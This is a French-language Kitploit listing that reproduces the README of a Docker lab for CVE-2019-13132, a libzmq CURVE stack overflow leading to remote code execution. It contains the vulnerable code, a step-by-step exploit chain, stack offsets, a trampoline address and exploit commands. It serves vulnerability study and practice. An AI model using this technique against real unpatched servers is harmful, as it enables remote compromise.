Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — libzmq CURVE INITIATE débordement de pile → RCE. Exploit fonctionnel + laboratoire Docker. | Kitploit
Outils/GitHubGitHub/dinosn/cve-2019-13132-lab
Analyse des VulnérabilitésExploitationRétro-ingénierieFuzzingApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — libzmq CURVE INITIATE débordement de pile → RCE. Exploit fonctionnel + laboratoire Docker.

Voir le dépôt
15il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-13132 — Débordement de pile CURVE INITIATE de libzmq → laboratoire RCE

CVE CVSS Affected License

Exploit RCE fonctionnel de bout en bout + laboratoire reproductible pour CVE-2019-13132, un débordement de tampon de pile dans le gestionnaire de poignée de main CURVE INITIATE de libzmq. Un attaquant connaissant la clé publique à long terme du serveur (un paramètre public par conception) peut déborder un tampon de pile de taille fixe dans process_initiate(), écraser l'adresse de retour sauvegardée et rediriger l'exécution vers du code arbitraire.

Par Nicolas Krassas (@dinosn).

Usage en laboratoire uniquement. Ce kit fournit une version intentionnellement vulnérable de libzmq 4.3.0 avec les mitigations désactivées. N'exposez pas le port 5556 en dehors du laboratoire. Le bogue a été corrigé dans libzmq 4.3.2.


Démarrage rapide

docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Test de fumée automatisé (exécute l'exploit et vérifie le fichier de preuve) :

docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Structure du dépôt

.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnérabilité

src/curve_server.cpp:284-336 (libzmq 4.3.0) :

if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box est un tampon de 416 octets alloué sur la pile. Le memcpy écrit size - 113 octets dans la région de charge utile de 400 octets (décalage 16..415). Tout INITIATE avec size > 513 déborde au-delà du tampon dans les registres sauvegardés de l'appelé et l'adresse de retour.

La vérification du cookie a lieu avant le débordement, donc l'INITIATE doit porter un cookie authentique — mais le cookie est obtenu à partir du message WELCOME précédent en utilisant uniquement la clé publique à long terme du serveur.


Chaîne d'exploitation

1. Poignée de main CURVE (seule la clé publique est nécessaire)

Le protocole CURVE est conçu pour que les clients possèdent déjà la clé publique à long terme du serveur (elle se trouve dans l'URI de connexion ou la configuration). L'exploit :

  1. Génère une nouvelle paire de clés éphémères (C', c').
  2. Envoie un HELLO valide — le serveur le déchiffre en utilisant C' + sa clé secrète.
  3. Reçoit WELCOME — le déchiffre en utilisant C' + la clé publique du serveur.
  4. Extrait le cookie de WELCOME.
  5. Envoie INITIATE avec le cookie authentique + charge utile surdimensionnée.
  6. Le cookie est validé, et le memcpy vulnérable se déclenche.

Pas de credentials au niveau de l'application. Pas de contournement de l'authentification ZAP. Le débordement se déclenche pendant l'échange de clés CURVE, avant que l'application ne voie jamais le pair.

2. Débordement de pile → écrasement de l'adresse de retour

process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

L'exploit envoie 464 octets de charge utile : 456 octets de remplissage (0x41) pour atteindre l'adresse de retour, puis 8 octets contenant l'adresse de lab_trampoline().

3. Chemin d'erreur → épilogue → ret → trampoline

Après le débordement, crypto_box_open() échoue (les données débordées sont un texte chiffré inutilisable). Le chemin d'erreur enregistre l'échec, définit errno et retourne -1 — mais le chemin d'erreur n'accède qu'aux emplacements de pile en dessous de la région de débordement (RSP+0xe0, RSP+0xf0, RSP+0x280), donc il s'exécute proprement avec la pile corrompue.

L'épilogue de la fonction (add $0x628,%rsp; pop rbx-r15; ret) dépile les registres sauvegardés corrompus (maintenant 0x4141414141414141) puis ret charge notre adresse de trampoline.

4. Exécution de code

lab_trampoline() utilise des appels système bruts (pas de libc, pas de fork()) pour écrire le fichier de preuve :

void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Des appels système bruts sont utilisés au lieu de system() / fork() car process_initiate() s'exécute sur le thread I/O de libzmq — appeler fork() depuis un thread non principal dans un processus multi-threadé provoque un interblocage sur les gestionnaires de verrouillage pthread_atfork de glibc.

Pourquoi seule la clé publique est nécessaire

La clé publique à long terme du serveur est un paramètre public dans le protocole CurveZMQ — les clients doivent l'avoir pour se connecter. Elle est généralement distribuée dans des fichiers de configuration, des URI ou des mécanismes de découverte. L'exploit ne nécessite aucun matériel secret.


Résolution des décalages

L'exploit a besoin de deux valeurs :

champvaleursource
trampoline_addr0x401206nm server-curve (binaire non-PIE, adresse fixe)
offset_to_ret456désassemblage de process_initiate (0x658 - 0x490)

Les deux sont codés en dur dans exploit.py comme valeurs par défaut intégrées pour la construction du laboratoire Docker (Debian 12, gcc 12, libzmq 4.3.0). Aucune étape de calibration n'est nécessaire — exécutez simplement l'exploit :

python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Priorité de résolution : drapeaux --trampoline/--offset → fichier --profile → /opt/zmq-curve-rce/profile.json → valeurs par défaut intégrées.

Pourquoi pas d'empreinte runtime ?

Télécharger l’outil